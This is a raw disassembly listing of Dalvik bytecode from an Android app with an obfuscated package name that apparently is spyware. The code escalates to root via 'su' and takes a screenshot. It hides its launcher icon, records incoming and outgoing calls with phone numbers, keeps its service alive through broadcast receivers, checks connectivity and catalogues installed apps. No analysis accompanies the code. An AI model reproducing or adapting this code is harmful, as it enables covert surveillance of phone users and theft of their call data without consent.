    00086c36invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00086c3cmove-result-object v0
    00086c3einvoke-virtual {v0, v7}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00086c44move-result-object v0
    00086c46const-string v1, ".."
    00086c4ainvoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00086c50move-result v1
    00086c52if-nez v1, :cond_b6
    00086c56invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086c5cmove-result-object v1
    00086c5einvoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00086c64move-result v0
    00086c66if-ne v0, v4, :cond_b6
    00086c6ainvoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->a()V
    00086c70invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->finish()V
    00086c76invoke-virtual {v10}, Lcmf0/c3b5bm90zq/patch/C7;->b()V
    00086c7creturn-void
    00086af4
    00086c7e
    00086c7e struct code_item_padding
    00086c7e padding uint16 0x0000
    00086c80
    00086c80 struct try_item
    00086c80 start_addr uint32 0x86b9a
    00086c84 insn_count int 24
    00086c86 handler_off uint16 0x86c89
    00086c88
    00086c88 struct encoded_catch_handler_list
    00086c88 size int 1
    00086c89
    00086c89 struct encoded_catch_handler ← 0x86c86
    00086c89 size int64 1
    00086c8a handlers[0].type_idx int 0x5994
    00086c8c handlers[0].addr uint32 0x86bcc
    00086c8d
    00086c8d // align 0x10
    00086c90
    00086c90cmf0.c3b5bm90zq.patch.C7::d():
    00086ca0invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    00086ca6move-result-object v0
    00086ca8const-string v1, "su"
    00086cacinvoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00086cb2move-result-object v0
    00086cb4new-instance v1, Ljava/io/DataOutputStream;
    00086cb8invoke-virtual {v0}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
    00086cbemove-result-object v2
    00086cc0invoke-direct {v1, v2}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
    00086cc6const-string v2, "/system/bin/screencap -p /sdcard/rootSU.png"
    00086ccaconst-string v3, "ASCII"
    00086cceinvoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
    00086cd4move-result-object v2
    00086cd6invoke-virtual {v1, v2}, Ljava/io/DataOutputStream;->write([B)V
    00086cdcinvoke-virtual {v1}, Ljava/io/DataOutputStream;->flush()V
    00086ce2invoke-virtual {v1}, Ljava/io/DataOutputStream;->close()V
    00086ce8invoke-virtual {v0}, Ljava/lang/Process;->waitFor()I
    00086ceeinvoke-virtual {v0}, Ljava/lang/Process;->exitValue()I
    00086cf4move-result v0
    00086cf6if-nez v0, :cond_3b
    00086cfaiget-object v0, v4, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    00086cfeinvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086d04move-result-object v1
    00086d06const-string v2, "1"
    00086d0aconst-string v3, "root"
    00086d0einvoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00086d14goto :goto_44
    00086d16iget-object v0, v4, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    00086d1ainvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086d20move-result-object v1
    00086d22const-string v2, "0"
    00086d26goto :goto_35
    00086d28return-void
    00086c90
    00086d2a
    00086d2a struct code_item_padding
    00086d2a padding uint16 0x0000
    00086d2c
    00086d2c struct try_item
    00086d2c start_addr uint32 0x86ca0
    00086d30 insn_count int 36
    00086d32 handler_off uint16 0x86d3d
    00086d34
    00086d34 struct try_item
    00086d34 start_addr uint32 0x86ce8
    00086d38 insn_count int 31
    00086d3a handler_off uint16 0x86d41
    00086d3c
    00086d3c struct encoded_catch_handler_list
    00086d3c size int 2
    00086d3d
    00086d3d struct encoded_catch_handler ← 0x86d32
    00086d3d size int64 1
    00086d3e handlers[0].type_idx int 0x5940
    00086d40 handlers[0].addr uint32 0x86d28
    00086d41
    00086d41 struct encoded_catch_handler ← 0x86d3a
    00086d41 size int64 2
    00086d42 handlers[0].type_idx int 0x59ac
    00086d44 handlers[0].addr uint32 0x86d28
    00086d45 handlers[1].type_idx int 0x5940
    00086d47 handlers[1].addr uint32 0x86d28
    00086d48
    00086d48cmf0.c3b5bm90zq.patch.C7::a():
    00086d58invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getResources()Landroid/content/res/Resources;
    00086d5emove-result-object v0
    00086d60const v1, 0x7f0c0021
    00086d66invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00086d6cmove-result-object v0
    00086d6econst/4 v1, 0x0
    00086d70invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00086d76move-result v0
    00086d78const/16 v1, 0x31
    00086d7cif-ne v0, v1, :cond_2e
    00086d80invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getPackageManager()Landroid/content/pm/PackageManager;
    00086d86move-result-object v0
    00086d88new-instance v1, Landroid/content/ComponentName;
    00086d8cinvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086d92move-result-object v2
    00086d94const-class v3, Lcmf0/c3b5bm90zq/patch/C7;
    00086d98invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00086d9einvoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00086da4move-result v2
    00086da6const/4 v3, 0x2
    00086da8if-eq v2, v3, :cond_2e
    00086dacconst/4 v2, 0x1
    00086daeinvoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00086db4return-void
    00086d48
    00086db6
    00086db6 struct code_item_padding
    00086db6 padding uint16 0x0000
    00086db8
    00086db8 struct try_item
    00086db8 start_addr uint32 0x86d58
    00086dbc insn_count int 46
    00086dbe handler_off uint16 0x86dc1
    00086dc0
    00086dc0 struct encoded_catch_handler_list
    00086dc0 size int 1
    00086dc1
    00086dc1 struct encoded_catch_handler ← 0x86dbe
    00086dc1 size int64 1
    00086dc2 handlers[0].type_idx int 0x5994
    00086dc4 handlers[0].addr uint32 0x86db4
    00086dc5
    00086dc5 // align 0x8
    00086dc8
    00086dc8cmf0.c3b5bm90zq.patch.C7::b():
    00086dd8new-instance v0, Ljava/lang/Thread;
    00086ddcnew-instance v1, Lcmf0/c3b5bm90zq/patch/C7$1;
    00086de0invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C7$1;-><init>(Lcmf0/c3b5bm90zq/patch/C7;)V
    00086de6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00086decinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00086df2return-void
    00086dc8
    00086df4
    00086df4cmf0.c3b5bm90zq.patch.C7::onActivityResult(int, int, android.content.Intent):
    00086e04invoke-super {v0, v1, v2, v3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
    00086e0areturn-void
    00086df4
    00086e0c
    00086e0ccmf0.c3b5bm90zq.patch.C7::onBackPressed():
    00086e1cinvoke-super {v0}, Landroid/app/Activity;->onBackPressed()V
    00086e22return-void
    00086e0c
    00086e24
    00086e24cmf0.c3b5bm90zq.patch.C7::onCreate(android.os.Bundle):
    00086e34invoke-super {v0, v1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
    00086e3ainvoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C7;->c()V
    00086e40return-void
    00086e24
    00086e42
    00086e42 // align 0x4
    00086e44
    00086e44cmf0.c3b5bm90zq.patch.C7::onPause():
    00086e54invoke-super {v0}, Landroid/app/Activity;->onPause()V
    00086e5areturn-void
    00086e44
    00086e5c
    00086e5ccmf0.c3b5bm90zq.patch.C7::onResume():
    00086e6cinvoke-super {v0}, Landroid/app/Activity;->onResume()V
    00086e72invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C7;->c()V
    00086e78return-void
    00086e5c
    00086e7a
    00086e7a // align 0x4
    00086e7c
    00086e7ccmf0.c3b5bm90zq.patch.C8::<init>():
    00086e8cinvoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00086e92return-void
    00086e7c
    00086e94
    00086e94cmf0.c3b5bm90zq.patch.C8::a(java.lang.Class, android.content.Context):
    00086ea4const-string v0, "activity"
    00086ea8invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00086eaemove-result-object v4
    00086eb0check-cast v4, Landroid/app/ActivityManager;
    00086eb4const v0, 0x7fffffff
    00086ebainvoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00086ec0move-result-object v4
    00086ec2invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00086ec8move-result-object v4
    00086ecainvoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00086ed0move-result v0
    00086ed2if-eqz v0, :cond_31
    00086ed6invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00086edcmove-result-object v0
    00086edecheck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00086ee2invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00086ee8move-result-object v1
    00086eeaiget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00086eeeinvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00086ef4move-result-object v0
    00086ef6invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00086efcmove-result v0
    00086efeif-eqz v0, :cond_13
    00086f02const/4 v3, 0x1
    00086f04return v3
    00086f06const/4 v3, 0x0
    00086f08return v3
    00086e94
    00086f0a
    00086f0a // align 0x4
    00086f0c
    00086f0ccmf0.c3b5bm90zq.patch.C8::onReceive(android.content.Context, android.content.Intent):
    00086f1cconst-class v3, Lcmf0/c3b5bm90zq/patch/C11;
    00086f20invoke-virtual {v1, v3, v2}, Lcmf0/c3b5bm90zq/patch/C8;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00086f26move-result v3
    00086f28if-nez v3, :cond_12
    00086f2cnew-instance v3, Landroid/content/Intent;
    00086f30const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    00086f34invoke-direct {v3, v2, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00086f3ainvoke-virtual {v2, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00086f40return-void
    00086f0c
    00086f42
    00086f42 struct code_item_padding
    00086f42 padding uint16 0x0000
    00086f44
    00086f44 struct try_item
    00086f44 start_addr uint32 0x86f1c
    00086f48 insn_count int 18
    00086f4a handler_off uint16 0x86f4d
    00086f4c
    00086f4c struct encoded_catch_handler_list
    00086f4c size int 1
    00086f4d
    00086f4d struct encoded_catch_handler ← 0x86f4a
    00086f4d size int64 1
    00086f4e handlers[0].type_idx int 0x5994
    00086f50 handlers[0].addr uint32 0x86f40
    00086f51
    00086f51 // align 0x4
    00086f54
    00086f54cmf0.c3b5bm90zq.patch.C9::<clinit>():
    00086f64return-void
    00086f54
    00086f66
    00086f66 // align 0x8
    00086f68
    00086f68cmf0.c3b5bm90zq.patch.C9::<init>():
    00086f78invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00086f7ereturn-void
    00086f68
    00086f80
    00086f80cmf0.c3b5bm90zq.patch.C9::a(int, java.lang.String):
    00086f90sget v0, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    00086f94if-ne v0, v2, :cond_5
    00086f98return-void
    00086f9aconst/4 v0, 0x1
    00086f9cpacked-switch v2, :pswitch_data_90
    00086fa2goto/16 :goto_8d
    00086fa6sget v3, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    00086faaif-eq v3, v0, :cond_8d
    00086faeconst/4 v3, 0x0
    00086fb0sput-boolean v3, Lcmf0/c3b5bm90zq/patch/C9;->b:Z
    00086fb4new-instance v3, Ljava/lang/StringBuilder;
    00086fb8invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00086fbeconst-string v0, "Out Call Started["
    00086fc2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086fc8sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00086fccinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086fd2const-string v0, "]"
    00086fd6invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086fdcinvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00086fe2move-result-object v3
    00086fe4sput-object v3, Lcmf0/c3b5bm90zq/patch/C11;->c:Ljava/lang/String;
    00086fe8goto :goto_8d
    00086feasput-boolean v0, Lcmf0/c3b5bm90zq/patch/C9;->b:Z
    00086feesput-object v3, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00086ff2new-instance v3, Ljava/lang/StringBuilder;
    00086ff6invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00086ffcconst-string v0, "In Call Started["
    00087000invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087006sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008700ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087010const-string v0, "]"
    00087014invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008701agoto :goto_26
    0008701csget v3, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    00087020if-ne v3, v0, :cond_5f
    00087024new-instance v3, Ljava/lang/StringBuilder;
    00087028invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008702econst-string v0, "Missed Call["
    00087032invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087038sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008703cinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087042const-string v0, "]"
    00087046invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008704cgoto :goto_26
    0008704esget-boolean v3, Lcmf0/c3b5bm90zq/patch/C9;->b:Z
    00087052if-eqz v3, :cond_78
    00087056new-instance v3, Ljava/lang/StringBuilder;
    0008705ainvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00087060const-string v0, "In Call Ended["
    00087064invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008706asget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008706einvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087074const-string v0, "]"
    00087078invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008707egoto :goto_26
    00087080new-instance v3, Ljava/lang/StringBuilder;
    00087084invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008708aconst-string v0, "Out Call Ended["
    0008708einvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087094sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00087098invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008709econst-string v0, "]"
    000870a2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000870a8goto :goto_26
    000870aasput v2, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    000870aereturn-void
    000870b0.packed-switch 0x0
    00086f80
    000870c4
    000870c4 struct try_item
    000870c4 start_addr uint32 0x86f90
    000870c8 insn_count int 143
    000870ca handler_off uint16 0x870cd
    000870cc
    000870cc struct encoded_catch_handler_list
    000870cc size int 1
    000870cd
    000870cd struct encoded_catch_handler ← 0x870ca
    000870cd size int64 1
    000870ce handlers[0].type_idx int 0x5994
    000870d0 handlers[0].addr uint32 0x870ae
    000870d2
    000870d2 // align 0x4
    000870d4
    000870d4cmf0.c3b5bm90zq.patch.C9::a(java.lang.Class, android.content.Context):
    000870e4const-string v0, "activity"
    000870e8invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000870eemove-result-object v4
    000870f0check-cast v4, Landroid/app/ActivityManager;
    000870f4const v0, 0x7fffffff
    000870fainvoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00087100move-result-object v4
    00087102invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00087108move-result-object v4
    0008710ainvoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00087110move-result v0
    00087112if-eqz v0, :cond_31
    00087116invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    0008711cmove-result-object v0
    0008711echeck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00087122invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00087128move-result-object v1
    0008712aiget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    0008712einvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00087134move-result-object v0
    00087136invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008713cmove-result v0
    0008713eif-eqz v0, :cond_13
    00087142const/4 v3, 0x1
    00087144return v3
    00087146const/4 v3, 0x0
    00087148return v3
    000870d4
    0008714a
    0008714a // align 0x4
    0008714c
    0008714ccmf0.c3b5bm90zq.patch.C9::onReceive(android.content.Context, android.content.Intent):
    0008715cinvoke-virtual {v5}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00087162move-result-object v0
    00087164const-string v1, "android.intent.action.NEW_OUTGOING_CALL"
    00087168invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008716emove-result v0
    00087170if-eqz v0, :cond_1d
    00087174invoke-virtual {v5}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    0008717amove-result-object v5
    0008717cconst-string v0, "android.intent.extra.PHONE_NUMBER"
    00087180invoke-virtual {v5, v0}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
    00087186move-result-object v5
    00087188sput-object v5, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008718csget-object v5, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00087190sput-object v5, Lcmf0/c3b5bm90zq/patch/C11;->c:Ljava/lang/String;
    00087194goto :goto_51
    00087196invoke-virtual {v5}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    0008719cmove-result-object v0
    0008719econst-string v1, "state"
    000871a2invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
    000871a8move-result-object v0
    000871aainvoke-virtual {v5}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    000871b0move-result-object v5
    000871b2const-string v1, "incoming_number"
    000871b6invoke-virtual {v5, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
    000871bcmove-result-object v5
    000871besget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_IDLE:Ljava/lang/String;
    000871c2invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000871c8move-result v1
    000871caconst/4 v2, 0x0
    000871ccif-eqz v1, :cond_3b
    000871d0goto :goto_4e
    000871d2sget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_OFFHOOK:Ljava/lang/String;
    000871d6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000871dcmove-result v1
    000871deif-eqz v1, :cond_45
    000871e2const/4 v2, 0x2
    000871e4goto :goto_4e
    000871e6sget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
    000871eainvoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000871f0move-result v0
    000871f2if-eqz v0, :cond_4e
    000871f6const/4 v2, 0x1
    000871f8invoke-virtual {v3, v2, v5}, Lcmf0/c3b5bm90zq/patch/C9;->a(ILjava/lang/String;)V
    000871feconst-class v5, Lcmf0/c3b5bm90zq/patch/C11;
    00087202invoke-virtual {v3, v5, v4}, Lcmf0/c3b5bm90zq/patch/C9;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00087208move-result v5
    0008720aif-nez v5, :cond_63
    0008720enew-instance v5, Landroid/content/Intent;
    00087212const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    00087216invoke-direct {v5, v4, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    0008721cinvoke-virtual {v4, v5}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00087222return-void
    0008714c
    00087224
    00087224 struct try_item
    00087224 start_addr uint32 0x8715c
    00087228 insn_count int 81
    0008722a handler_off uint16 0x87235
    0008722c
    0008722c struct try_item
    0008722c start_addr uint32 0x871fe
    00087230 insn_count int 18
    00087232 handler_off uint16 0x87239
    00087234
    00087234 struct encoded_catch_handler_list
    00087234 size int 2
    00087235
    00087235 struct encoded_catch_handler ← 0x8722a
    00087235 size int64 1
    00087236 handlers[0].type_idx int 0x5994
    00087238 handlers[0].addr uint32 0x871fe
    00087239
    00087239 struct encoded_catch_handler ← 0x87232
    00087239 size int64 1
    0008723a handlers[0].type_idx int 0x5994
    0008723c handlers[0].addr uint32 0x87222
    0008723d
    0008723d // align 0x10
    00087240
    00087240cmf0.c3b5bm90zq.patch.a::<init>():
    00087250invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00087256return-void
    00087240
    00087258
    00087258cmf0.c3b5bm90zq.patch.a::a():
    00087268new-instance v0, Ljava/net/URL;
    0008726cconst-string v1, "https://www.google.com"
    00087270invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
    00087276invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
    0008727cmove-result-object v0
    0008727einvoke-virtual {v0}, Ljava/net/URLConnection;->connect()V
    00087284invoke-virtual {v0}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream;
    0008728amove-result-object v0
    0008728cinvoke-virtual {v0}, Ljava/io/InputStream;->close()V
    00087292const/4 v0, 0x1
    00087294return v0
    00087296const/4 v0, 0x0
    00087298return v0
    0008729amove-exception v0
    0008729cnew-instance v1, Ljava/lang/RuntimeException;
    000872a0invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
    000872a6throw v1
    00087258
    000872a8
    000872a8 struct try_item
    000872a8 start_addr uint32 0x87268
    000872ac insn_count int 21
    000872ae handler_off uint16 0x872b1
    000872b0
    000872b0 struct encoded_catch_handler_list
    000872b0 size int 1
    000872b1
    000872b1 struct encoded_catch_handler ← 0x872ae
    000872b1 size int64 2
    000872b2 handlers[0].type_idx int 0x5a3c
    000872b4 handlers[0].addr uint32 0x8729a
    000872b5 handlers[1].type_idx int 0x5940
    000872b7 handlers[1].addr uint32 0x87296
    000872b8
    000872b8cmf0.c3b5bm90zq.patch.a::a(byte[]):
    000872c8new-instance v0, Ljava/io/ByteArrayOutputStream;
    000872ccarray-length v1, v2
    000872ceinvoke-direct {v0, v1}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    000872d4new-instance v1, Ljava/util/zip/GZIPOutputStream;
    000872d8invoke-direct {v1, v0}, Ljava/util/zip/GZIPOutputStream;-><init>(Ljava/io/OutputStream;)V
    000872deinvoke-virtual {v1, v2}, Ljava/util/zip/GZIPOutputStream;->write([B)V
    000872e4invoke-virtual {v1}, Ljava/util/zip/GZIPOutputStream;->close()V
    000872eainvoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000872f0move-result-object v2
    000872f2invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->close()V
    000872f8return-object v2
    000872b8
    000872fa
    000872fa // align 0x4
    000872fc
    000872fccmf0.c3b5bm90zq.patch.a::f(android.content.Context):
    0008730cconst-string v0, "n/a"
    00087310new-instance v1, Ljava/lang/String;
    00087314invoke-direct {v1}, Ljava/lang/String;-><init>()V
    0008731aconst-string v2, "n/a"
    0008731econst-string v3, "n/a"
    00087322invoke-virtual {v14}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00087328move-result-object v4
    0008732aconst/16 v5, 0x80
    0008732einvoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
    00087334move-result-object v6
    00087336invoke-interface {v6}, Ljava/util/List;->size()I
    0008733cmove-result v7
    0008733econst/4 v8, 0x0
    00087340if-lez v7, :cond_fd
    00087344const/4 v7, 0x0
    00087346new-instance v9, Ljava/util/Random;
    0008734ainvoke-direct {v9}, Ljava/util/Random;-><init>()V
    00087350invoke-interface {v6}, Ljava/util/List;->size()I
    00087356move-result v10
    00087358const/4 v11, 0x1
    0008735asub-int/2addr v10, v11
    0008735cadd-int/lit8 v12, v10, 0x0
    00087360add-int/2addr v12, v11
    00087362invoke-virtual {v9, v12}, Ljava/util/Random;->nextInt(I)I
    00087368move-result v9
    0008736aadd-int/2addr v9, v8
    0008736cinvoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    00087372move-result-object v12
    00087374check-cast v12, Landroid/content/pm/ApplicationInfo;
    00087378iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    0008737cinvoke-virtual {v4, v12}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00087382move-result-object v12
    00087384if-eqz v12, :cond_fa
    00087388invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008738emove-result-object v12
    00087390check-cast v12, Landroid/content/pm/ApplicationInfo;
    00087394iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087398invoke-virtual {v4, v12}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    0008739emove-result-object v12
    000873a0const-string v13, ""
    000873a4invoke-virtual {v12, v13}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
    000873aamove-result v12
    000873acif-nez v12, :cond_fa
    000873b0invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    000873b6move-result-object v12
    000873b8check-cast v12, Landroid/content/pm/ApplicationInfo;
    000873bciget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    000873c0invoke-virtual {v14}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
    000873c6move-result-object v13
    000873c8invoke-virtual {v12, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000873cemove-result v12
    000873d0if-nez v12, :cond_fa
    000873d4invoke-virtual {v14}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    000873damove-result-object v7
    000873dcinvoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    000873e2move-result-object v10
    000873e4check-cast v10, Landroid/content/pm/ApplicationInfo;
    000873e8iget-object v10, v10, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    000873ecinvoke-virtual {v7, v10, v5}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    000873f2move-result-object v5
    000873f4invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
    000873famove-result-object v7
    000873fcinvoke-interface {v7}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
    00087402move-result-object v7
    00087404iget-object v2, v5, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087408invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008740emove-result-object v3
    00087410check-cast v3, Landroid/content/pm/ApplicationInfo;
